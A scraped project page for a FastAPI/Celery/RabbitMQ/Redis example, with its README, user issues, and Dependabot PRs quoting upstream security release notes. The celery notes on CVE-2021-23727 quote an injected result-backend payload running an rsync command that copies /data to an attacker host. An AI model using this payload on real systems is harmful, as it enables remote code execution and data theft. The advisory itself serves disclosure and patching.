Minimal example utilizing fastapi and celery with RabbitMQ for task queue, Redis for celery backend and flower for monitoring the celery tasks.

Grega Vrbančič

Last update: Jan 1, 2023

Related tags

FastAPI Projects python redis rabbitmq docker-compose celery flower fastapi

Overview

FastAPI with Celery

Minimal example utilizing FastAPI and Celery with RabbitMQ for task queue, Redis for Celery backend and flower for monitoring the Celery tasks.

Requirements

Docker
- docker-compose

Run example

Run command docker-compose upto start up the RabbitMQ, Redis, flower and our application/worker instances.
Navigate to the http://localhost:8000/docs and execute test API call. You can monitor the execution of the celery tasks in the console logs or navigate to the flower monitoring app at http://localhost:5555 (username: user, password: test).

Run application/worker without Docker?

Requirements/dependencies

Python >= 3.7
- poetry
RabbitMQ instance
Redis instance

The RabbitMQ, Redis and flower services can be started with docker-compose -f docker-compose-services.yml up

Install dependencies

Execute the following command: poetry install --dev

Run FastAPI app and Celery worker app

Start the FastAPI web application with poetry run hypercorn app/main:app --reload.
Start the celery worker with command poetry run celery worker -A app.worker.celery_worker -l info -Q test-queue -c 1
Navigate to the http://localhost:8000/docs and execute test API call. You can monitor the execution of the celery tasks in the console logs or navigate to the flower monitoring app at http://localhost:5555 (username: user, password: test).

Comments

关于send_task(task_name)的问题

我在启动时 celery -A example worker -l info -P eventlet 我在源码中print注册的task name，他是以example.xxx形式注册和你在send_task(task_name)的形式并不相同，请问你是如何启动celery的能以app.celery_app.woker.exmple的形式send_task

opened by heyfavour 3
No jobs work in AWS ubuntu server 20.04

Hi. I cloned on my local machine and tested and everything worked fine with Docker Desktop v4.12.0 in W10. Logging into AWS and cloning and running docker-compose up everything seems to work but the jobs never get out of PENDING state.

I found this anomaly in the logs: It does not appear locally with docker desktop.

Any ideas how to debug this?

opened by dpriskorn 1
Bump pydantic from 1.6.1 to 1.6.2
Bumps pydantic from 1.6.1 to 1.6.2.

Release notes

Sourced from pydantic's releases.

v1.6.2 (2021-05-11)

Security fix: Fix date and datetime parsing so passing either 'infinity' or float('inf') (or their negative values) does not cause an infinite loop, see security advisory CVE-2021-29510.

Changelog

Sourced from pydantic's changelog.

v1.6.2 (2021-05-11)

Security fix: Fix date and datetime parsing so passing either 'infinity' or float('inf') (or their negative values) does not cause an infinite loop, See security advisory CVE-2021-29510

Commits

acf7783 tweak history

829528c comment out broken tests

cf9a417 hack tests into passing

b37a922 fix formatting

ac360c5 prepare for release

bdde15b Merge pull request from GHSA-5jqp-qgf6-3pvh

See full diff in compare view

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

@dependabot rebase will rebase this PR

@dependabot recreate will recreate this PR, overwriting any edits that have been made to it

@dependabot merge will merge this PR after your CI passes on it

@dependabot squash and merge will squash and merge this PR after your CI passes on it

@dependabot cancel merge will cancel a previously requested merge and block automerging

@dependabot reopen will reopen this PR if it is closed

@dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually

@dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)

@dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)

@dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)

@dependabot use these labels will set the current labels as the default for future PRs for this repo and language

@dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language

@dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language

@dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

You can disable automated security fix PRs for this repo from the Security Alerts page.

dependencies
opened by dependabot[bot] 1
Bump fastapi from 0.60.1 to 0.65.2
⚠️ Dependabot is rebasing this PR ⚠️

Rebasing might not happen immediately, so don't worry if this takes some time.

Note: if you make any changes to this PR yourself, they will take precedence over the rebase.

Bumps fastapi from 0.60.1 to 0.65.2.

Release notes

Sourced from fastapi's releases.

0.65.2

Security fixes

🔒 Check Content-Type request header before assuming JSON. Initial PR #2118 by @patrickkwang.

This change fixes a CSRF security vulnerability when using cookies for authentication in path operations with JSON payloads sent by browsers.

In versions lower than 0.65.2, FastAPI would try to read the request payload as JSON even if the content-type header sent was not set to application/json or a compatible JSON media type (e.g. application/geo+json).

So, a request with a content type of text/plain containing JSON data would be accepted and the JSON data would be extracted.

But requests with content type text/plain are exempt from CORS preflights, for being considered Simple requests. So, the browser would execute them right away including cookies, and the text content could be a JSON string that would be parsed and accepted by the FastAPI application.

See CVE-2021-32677 for more details.

Thanks to Dima Boger for the security report! 🙇🔒

Internal

🔧 Update sponsors badge, course bundle. PR #3340 by @tiangolo.

🔧 Add new gold sponsor Jina 🎉. PR #3291 by @tiangolo.

🔧 Add new banner sponsor badge for FastAPI courses bundle. PR #3288 by @tiangolo.

👷 Upgrade Issue Manager GitHub Action. PR #3236 by @tiangolo.

0.65.1

Security fixes

📌 Upgrade pydantic pin, to handle security vulnerability CVE-2021-29510. PR #3213 by @tiangolo.

0.65.0

Breaking Changes - Upgrade

⬆️ Upgrade Starlette to 0.14.2, including internal UJSONResponse migrated from Starlette. This includes several bug fixes and features from Starlette. PR #2335 by @hanneskuettner.

Translations

🌐 Initialize new language Polish for translations. PR #3170 by @neternefer.

Internal

👷 Add GitHub Action cache to speed up CI installs. PR #3204 by @tiangolo.

⬆️ Upgrade setup-python GitHub Action to v2. PR #3203 by @tiangolo.

🐛 Fix docs script to generate a new translation language with overrides boilerplate. PR #3202 by @tiangolo.

✨ Add new Deta banner badge with new sponsorship tier 🙇. PR #3194 by @tiangolo.

👥 Update FastAPI People. PR #3189 by @github-actions[bot].

🔊 Update FastAPI People to allow better debugging. PR #3188 by @tiangolo.

0.64.0

Features

... (truncated)

Commits

4d91f97 🔖 Release version 0.65.2

aabe2c7 📝 Update release notes

377234a 🔒 Create Security Policy

38b7858 📝 Update release notes

fa7e3c9 🐛 Check Content-Type request header before assuming JSON (#2118)

90120dd 📝 Update release notes

3677254 🔧 Update sponsors badge, course bundle (#3340)

40bb0c5 📝 Update release notes

60918d2 🔧 Add new gold sponsor Jina 🎉 (#3291)

3afce2c 📝 Update release notes

Additional commits viewable in compare view

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

@dependabot rebase will rebase this PR

@dependabot recreate will recreate this PR, overwriting any edits that have been made to it

@dependabot merge will merge this PR after your CI passes on it

@dependabot squash and merge will squash and merge this PR after your CI passes on it

@dependabot cancel merge will cancel a previously requested merge and block automerging

@dependabot reopen will reopen this PR if it is closed

@dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually

@dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)

@dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)

@dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)

@dependabot use these labels will set the current labels as the default for future PRs for this repo and language

@dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language

@dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language

@dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

You can disable automated security fix PRs for this repo from the Security Alerts page.

dependencies
opened by dependabot[bot] 1
Bump celery from 4.4.6 to 5.2.2
Bumps celery from 4.4.6 to 5.2.2.

Release notes

Sourced from celery's releases.

5.2.2

Release date: 2021-12-26 16:30 P.M UTC+2:00

Release by: Omer Katz

Various documentation fixes.

Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]:~/data as the exception arguments like so:

{ "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data [email protected]:~/data" }

According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

v5.2.1

Release date: 2021-11-16 8.55 P.M UTC+6:00

Release by: Asif Saif Uddin

Fix rstrip usage on bytes instance in ProxyLogger.

Pass logfile to ExecStop in celery.service example systemd file.

fix: reduce latency of AsyncResult.get under gevent (#7052)

Limit redis version: <4.0.0.

Bump min kombu version to 5.2.2.

Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.

... (truncated)

Changelog

Sourced from celery's changelog.

5.2.2

:release-date: 2021-12-26 16:30 P.M UTC+2:00 :release-by: Omer Katz

Various documentation fixes.

Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]:~/data as the exception arguments like so:

.. code-block:: python

{ "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data [email protected]:~/data" }

According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

.. _version-5.2.1:

5.2.1

:release-date: 2021-11-16 8.55 P.M UTC+6:00 :release-by: Asif Saif Uddin

Fix rstrip usage on bytes instance in ProxyLogger.

Pass logfile to ExecStop in celery.service example systemd file.

fix: reduce latency of AsyncResult.get under gevent (#7052)

Limit redis version: <4.0.0.

Bump min kombu version to 5.2.2.

... (truncated)

Commits

b21c13d Bump version: 5.2.1 → 5.2.2

a60b486 Add changelog for 5.2.2.

3e5d630 Fix changelog formatting.

1f7ad7e Fix CVE-2021-23727 (Stored Command Injection securtiy vulnerability).

2d8dbc2 Update configuration.rst

9596aba Fix typo in documentation

639ad83 update doc to reflect Celery 5.2.x (#7153)

d32356c Bump version: 5.2.0 → 5.2.1

6842a78 Merge branch 'master' of https://github.com/celery/celery

4c92cb7 changelog for v5.2.1

Additional commits viewable in compare view

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

@dependabot rebase will rebase this PR

@dependabot recreate will recreate this PR, overwriting any edits that have been made to it

@dependabot merge will merge this PR after your CI passes on it

@dependabot squash and merge will squash and merge this PR after your CI passes on it

@dependabot cancel merge will cancel a previously requested merge and block automerging

@dependabot reopen will reopen this PR if it is closed

@dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually

@dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)

@dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)

@dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)

@dependabot use these labels will set the current labels as the default for future PRs for this repo and language

@dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language

@dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language

@dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

You can disable automated security fix PRs for this repo from the Security Alerts page.

dependencies
opened by dependabot[bot] 1

Containerize the whole project

Hi, thank you for the great tutorial.

Do you have any idea how we could completely containerize the project? I'm struggling with the docker-compose.yml, trying to containerize the API as well as the worker. Doing as in the file below doesn't run neither the API nor the worker.

version: "2"

services:
  rabbitmq:
    image: "bitnami/rabbitmq:3.7"
    ports:
      - "4369:4369"
      - "5672:5672"
      - "25672:25672"
      - "15672:15672"
    volumes:
      - "rabbitmq_data:/bitnami"

  redis:
    image: "bitnami/redis:5.0.4"
    environment:
      - REDIS_PASSWORD=password123
    ports:
      - "6379:6379"
    volumes:
      - "redis_data:/bitnami/redis/data"

  celery-flower:
    image: gregsi/latest-celery-flower-docker:latest
    environment:
      - AMQP_USERNAME=user
      - AMQP_PASSWORD=bitnami
      - AMQP_ADMIN_USERNAME=user
      - AMQP_ADMIN_PASSWORD=bitnami
      - AMQP_HOST=rabbitmq
      - AMQP_PORT=5672
      - AMQP_ADMIN_HOST=rabbitmq
      - AMQP_ADMIN_PORT=15672
      - FLOWER_BASIC_AUTH=user:test
    ports:
      - "5555:5555"

  api:
    build:
      context: src/api_dir
      dockerfile: Dockerfile
    ports:
      - "8000:8000"
    depends_on:
      - redis
    restart: always
    volumes:
      - "public:/app/public"

  worker:
    build:
      context: src/api_dir
    command: celery worker -A path.to.worker -l info -Q queue -c 2
    depends_on:
      - redis
    volumes:
      - "public:/app/public"

volumes:
  rabbitmq_data:
    driver: local
  redis_data:
    driver: local
  public:
    driver: local

opened by antisrdy 1

Bump uvicorn from 0.8.3 to 0.11.7
Bumps uvicorn from 0.8.3 to 0.11.7.

Release notes

Sourced from uvicorn's releases.

Version 0.11.7

0.11.7

SECURITY FIX: Prevent sending invalid HTTP header names and values.

SECURITY FIX: Ensure path value is escaped before logging to the console.

Version 0.11.6

Fix overriding the root logger.

Version 0.11.5

Revert "Watch all files, not just .py" due to unexpected side effects.

Revert "Pass through gunicorn timeout config." due to unexpected side effects.

Version 0.11.4

Use watchgod, if installed, for watching code changes.

Reload application when any files in watched directories change, not just .py files.

Changelog

Sourced from uvicorn's changelog.

0.11.7

SECURITY FIX: Prevent sending invalid HTTP header names and values.

SECURITY FIX: Ensure path value is escaped before logging to the console.

0.11.6

Fix overriding the root logger.

0.11.5

Revert "Watch all files, not just .py" due to unexpected side effects.

Revert "Pass through gunicorn timeout config." due to unexpected side effects.

0.11.4

Use watchgod, if installed, for watching code changes.

Watch all files, not just .py.

Pass through gunicorn timeout config.

0.11.3

Update dependencies.

0.11.2

Don't open socket until after application startup.

Support --backlog.

0.11.1

Use a more liberal h11 dependency. Either 0.8.* or `0.9.*``.

0.11.0

Fix reload/multiprocessing on Windows with Python 3.8.

Drop IOCP support. (Required for fix above.)

Add uvicorn --version flag.

Add --use-colors and --no-use-colors flags.

Display port correctly, when auto port selection isused with --port=0.

0.10.8

Fix reload/multiprocessing error.

0.10.7

Use resource_sharer.DupSocket to resolve socket sharing on Windows.

0.10.6

Commits

178bee6 Version 0.11.7 (#726)

a796e1d Corrected --proxy-headers client ip/host when using a unix socket (#636)

895807f Quote path component before logging (#724)

789e2f1 Disallow invalid header characters (#725)

81f2136 Brings back windows testing to CI (#685)

f623916 Release version 0.11.6 (#705)

6757386 Removing iocp mentions from documentation (#692)

77468df Add --app-dir option for running uvicorn from any location (#619)

9b92925 Document default backlog setting (#682)

2dcbb13 Fix typo. (#676)

Additional commits viewable in compare view

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

@dependabot rebase will rebase this PR

@dependabot recreate will recreate this PR, overwriting any edits that have been made to it

@dependabot merge will merge this PR after your CI passes on it

@dependabot squash and merge will squash and merge this PR after your CI passes on it

@dependabot cancel merge will cancel a previously requested merge and block automerging

@dependabot reopen will reopen this PR if it is closed

@dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually

@dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)

@dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)

@dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)

@dependabot use these labels will set the current labels as the default for future PRs for this repo and language

@dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language

@dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language

@dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

You can disable automated security fix PRs for this repo from the Security Alerts page.

dependencies
opened by dependabot[bot] 0

Celery and FastApi containers not working

ERROR:

packages/kombu/utils/compat.py", line 82, in entrypoints
    for ep in importlib_metadata.entry_points().get(namespace, [])
AttributeError: 'EntryPoints' object has no attribute 'get'

opened by EncelBread 0

Owner

Grega Vrbančič

Young Researcher at University of Maribor, Faculty of Electrical Engineering and Computer Science

GitHub

基于Pytorch的脚手架项目，Celery+FastAPI+Gunicorn+Nginx+Supervisor实现服务部署，支持Docker发布

cookiecutter-pytorch-fastapi 基于Pytorch的脚手架项目按规范添加推理函数即可实现Celery+FastAPI+Gunicorn+Nginx+Supervisor+Docker的快速部署 Requirements Python >= 3.6 with pip in

17 Dec 23, 2022

Backend, modern REST API for obtaining match and odds data crawled from multiple sites. Using FastAPI, MongoDB as database, Motor as async MongoDB client, Scrapy as crawler and Docker.

Introduction Apiestas is a project composed of a backend powered by the awesome framework FastAPI and a crawler powered by Scrapy. This project has fo